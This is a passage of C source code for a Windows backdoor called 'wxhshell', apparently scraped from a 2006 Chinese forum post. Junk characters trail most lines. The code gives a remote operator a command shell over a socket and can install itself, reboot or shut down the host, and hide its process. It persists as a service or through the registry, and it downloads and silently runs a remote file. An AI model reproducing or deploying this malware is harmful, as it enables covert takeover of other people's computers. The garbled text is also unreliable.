  } &8Zeq3~  
  else { I9;xzES  
OSU{8.  
    switch(cmd[0]) { !syU]Yk  
  YFG-U-t3  
  // 帮助 jz|VF,l  
  case '?': { J(4g4?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]Fxku<z7|  
    break; S3ErH,XB.  
  } w_\nB}_  
  // 安装 M/*Bh,M`  
  case 'i': { ? 'Cb-C_  
    if(Install()) ^#2xQ5h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >xZ5 ac I  
    else </,.K`''W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^,Lt Ewd~Y  
    break; l@xWQj9  
    } )GK+  
  // 卸载 U4=]#=R~o  
  case 'r': { s} s|~  
    if(Uninstall()) -=5EbNPwG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C B6A}m  
    else : g 5(HH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E!uJ6\  
    break; rjXnDh]MC  
    } '|_/lz$h  
  // 显示 wxhshell 所在路径 l(#1mY5!q8  
  case 'p': { a%v>eXc  
    char svExeFile[MAX_PATH]; N0nj`  
    strcpy(svExeFile,"\n\r"); V n^)  
      strcat(svExeFile,ExeFile); 0iF-}o  
        send(wsh,svExeFile,strlen(svExeFile),0); oooS s&t  
    break; w=|py>%  
    } .8K6C]gw  
  // 重启 B@"J]S  
  case 'b': { 76_<xUt{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l~NEGb  
    if(Boot(REBOOT)) 7_KXD#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f\ 'T_  
    else { 5?w.rcN[j  
    closesocket(wsh); bi.wYp(*6L  
    ExitThread(0); !3@{U@*Z]  
    } ';Nu&D#Ph  
    break; Od-Ax+Hp  
    } ?,>5[Ha^?  
  // 关机 Dm^l?Z  
  case 'd': { NCn`}QP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ev{MCu1!6  
    if(Boot(SHUTDOWN)) F{\=PCZ>7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e?P%wqB  
    else { 57<Di!rt  
    closesocket(wsh); |kc@L`7s  
    ExitThread(0); ^&NN]?  
    } Z%OW5]q  
    break; 0p `")/  
    } }vY.EEy!  
  // 获取shell !VRo*[yD@  
  case 's': { <aXoB*Y  
    CmdShell(wsh); n[P\*S  
    closesocket(wsh); H{%H^t>  
    ExitThread(0); +?Ez} BP  
    break; 5{X*a  
  } [S0mY["  
  // 退出 d8o ewkiR  
  case 'x': { G|*G9nQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tF%QH[  
    CloseIt(wsh); bb1  f/C%  
    break; @vt$MiOi  
    } 3ev -Iqz  
  // 离开 (:n|v%  
  case 'q': { )NIv  "Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +>}o;`hPe  
    closesocket(wsh); PS}73Y#  
    WSACleanup(); P0 b4Hq3  
    exit(1); ~b6GrY"vB  
    break; (A4&k{C_  
        } R5kH0{zM  
  } ISBF\ wQY  
  } \0&SI1Yp  
\z:<DsQ&  
  // 提示信息 `ET& VV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +?AW>&68y  
} *|KVN&#  
  } d.AC%&W  
Z0\Iyc G  
  return; KUKI qAA  
} QC7k~I8  
$r15gfne>  
// shell模块句柄 oKa>.e7.  
int CmdShell(SOCKET sock) ]0-<>  
{ F#|Z# Mu  
STARTUPINFO si; FmD +8=  
ZeroMemory(&si,sizeof(si)); %b?uW] j:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JC2*$qu J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u"Y]P*[k  
PROCESS_INFORMATION ProcessInfo; kOI !~Qk  
char cmdline[]="cmd"; 1-o V-K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NwpS)6<-  
  return 0; t9` Ed>a  
} -_>.f(1  
I`^YAbnb  
// 自身启动模式 U=m=1FYaG  
int StartFromService(void) wOg,SMiq  
{ Uk'U?9O  
typedef struct A[JM4x   
{ _#pnjo   
  DWORD ExitStatus; I$j|Rq  
  DWORD PebBaseAddress; #PFO]j!_b  
  DWORD AffinityMask; C}Qt "-%  
  DWORD BasePriority; gtYRV*^q  
  ULONG UniqueProcessId; 0( //D;j  
  ULONG InheritedFromUniqueProcessId; BY( eV!  
}   PROCESS_BASIC_INFORMATION; BS2?!;,8  
1exfCm  
PROCNTQSIP NtQueryInformationProcess; vgThK9{m;  
fM ^<+o@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P {H{UKs#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yL&/m~{s  
fj+O'X  
  HANDLE             hProcess; mx}E$b$<CY  
  PROCESS_BASIC_INFORMATION pbi; XTo8,'UaP  
 AP w6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E474l  
  if(NULL == hInst ) return 0; _B$"e[:yX  
*rf$>8~$n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C*rd;+1A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JXm?2 /  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1JeJxzv>C  
Sk=N [hwU  
  if (!NtQueryInformationProcess) return 0; 'C~9]Y].  
t.U{Bu P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %g w{[ /[A  
  if(!hProcess) return 0; /^ 4"Qv\@/  
j@v-|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qd(hQsfqYU  
RIjM(P  
  CloseHandle(hProcess); )eR$:uO  
#T"64%dX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); XKSX#cia  
if(hProcess==NULL) return 0; . r `[  
[H^ X"D  
HMODULE hMod; q"nGy#UWR  
char procName[255]; =P]GPEz_  
unsigned long cbNeeded; IG|\:Xz  
W ~NYU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O<X )p`,`  
<25ccE9^c  
  CloseHandle(hProcess); *#h;c1aP  
s0!kwrBsp  
if(strstr(procName,"services")) return 1; // 以服务启动 %wW'!p-<  
o4~kX  
  return 0; // 注册表启动 +c?ie4   
} 5^2TfG9  
} 07r  
// 主模块 e5OVq ,  
int StartWxhshell(LPSTR lpCmdLine) 5hz_P+Q  
{ dz,+tR~  
  SOCKET wsl; PbEQkjE  
BOOL val=TRUE; FmI;lVF0j  
  int port=0; 4J}3,+  
  struct sockaddr_in door; UkfA}b^@v  
u){S$</  
  if(wscfg.ws_autoins) Install(); Z= ik{/  
?O7iK<5N  
port=atoi(lpCmdLine); PbN3;c3  
~`[8"YUL  
if(port<=0) port=wscfg.ws_port; !gJzg*{u@  
`^e*T'UPl  
  WSADATA data; +XQP jg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {aIZFe}B  
8Fx]koP.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k =|K|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^U{P3 %uZ  
  door.sin_family = AF_INET; JWWInuH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A^L?_\e6  
  door.sin_port = htons(port); T 9MzUV&  
' &N20w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Gh iHA9.  
closesocket(wsl); W0?JVtq0Z  
return 1; M:(&n@e  
} hXTYTbTX  
;-Ado8  
  if(listen(wsl,2) == INVALID_SOCKET) { _.-#E$6s#q  
closesocket(wsl); k.Gl4 x  
return 1; -R8/`M8GbD  
} B!iFmkCy  
  Wxhshell(wsl); NfqJ=9  
  WSACleanup(); !mae^A1  
%2YN,a4  
return 0;  +Lhe,  
Iht'e8)gq  
} Rv,Mu3\~#c  
jm+ blB^%K  
// 以NT服务方式启动 j@CKO cn2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X98#QR#m  
{ R` 44'y|  
DWORD   status = 0; sX!3_ '-  
  DWORD   specificError = 0xfffffff; ZIe+  
bl`D+/V   
  serviceStatus.dwServiceType     = SERVICE_WIN32; l-cW;b~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1]Lhk?4t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qL,ka  
  serviceStatus.dwWin32ExitCode     = 0; l[Tt[n  
  serviceStatus.dwServiceSpecificExitCode = 0; +\srZ<67  
  serviceStatus.dwCheckPoint       = 0; {x9j_/R  
  serviceStatus.dwWaitHint       = 0; hAlPl<BO#V  
nPcxknl(pd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); brj[c>ID  
  if (hServiceStatusHandle==0) return; 6N&| 2:U  
Ca X^)  
status = GetLastError(); %uj[`  
  if (status!=NO_ERROR) el}hcAY/RP  
{ *^uGvJXF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k?< i*;7  
    serviceStatus.dwCheckPoint       = 0; )U]:9)   
    serviceStatus.dwWaitHint       = 0; )=y.^@UT@  
    serviceStatus.dwWin32ExitCode     = status; MCM/=M'y  
    serviceStatus.dwServiceSpecificExitCode = specificError; [#IBYJ.6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iQu^|,tHEM  
    return; X=JFWzC  
  } Qg[heND  
UmYD]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b-2pzcK{#  
  serviceStatus.dwCheckPoint       = 0; A 0 S8Dh$  
  serviceStatus.dwWaitHint       = 0; b/z'`?[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o T:j:n  
} JaA&eT|  
F|6 nwvgq  
// 处理NT服务事件,比如:启动、停止 EG%I1F%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,tau9>!  
{ ZTr:xX{R6  
switch(fdwControl) cW=Qh-`jU;  
{ mlD%d!.  
case SERVICE_CONTROL_STOP: vz- 9<w;>a  
  serviceStatus.dwWin32ExitCode = 0; =n)JJS94  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _cR6ik zW(  
  serviceStatus.dwCheckPoint   = 0; " 98/HzR  
  serviceStatus.dwWaitHint     = 0; VIb;96$Or  
  { JvKO $^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6euR'd^Qi  
  } fDL3:%D  
  return; WfRVv3Vm  
case SERVICE_CONTROL_PAUSE: iKohuZr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G!nl'5|y  
  break; :b.3CL\.6  
case SERVICE_CONTROL_CONTINUE: km9Gwg/zT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v hRu `Yb  
  break; 43+EX.c  
case SERVICE_CONTROL_INTERROGATE: fKFnCng  
  break; :x8Jy4L  
}; q s v+.aW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @m5O{[euj<  
} =s`XZkh  
eVJ= .?r  
// 标准应用程序主函数 h1n*WQ-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qsD?dHi7  
{ %=laY_y G  
_2NN 1/F5  
// 获取操作系统版本  C/SapX  
OsIsNt=GetOsVer(); ue,#, 3{m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); es. jh  
PthId aN@  
  // 从命令行安装 kJHr&=VO~  
  if(strpbrk(lpCmdLine,"iI")) Install(); &r&;<Q  
}9{dR4hD  
  // 下载执行文件 J@oEV=L  
if(wscfg.ws_downexe) { 29&sydu  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d\v$%0  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3?!G-  
} *!._Ais,\  
;M%oQ> ].[  
if(!OsIsNt) { j9{O0[v  
// 如果时win9x,隐藏进程并且设置为注册表启动 h`z2!F4  
HideProc(); MDMtOfe|  
StartWxhshell(lpCmdLine); ;n% ]*v  
} ST[2]   
else Xg|8".B)A  
  if(StartFromService()) hubfK~  
  // 以服务方式启动 _<u8%\  
  StartServiceCtrlDispatcher(DispatchTable); | \ s2  
else `4q5CJ2  
  // 普通方式启动 |pfhrwJp  
  StartWxhshell(lpCmdLine); )B -MPuB  
fG:PdIJ7_  
return 0; UN cYu9[  
}
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只看该作者 1 发表于: 2006-10-10
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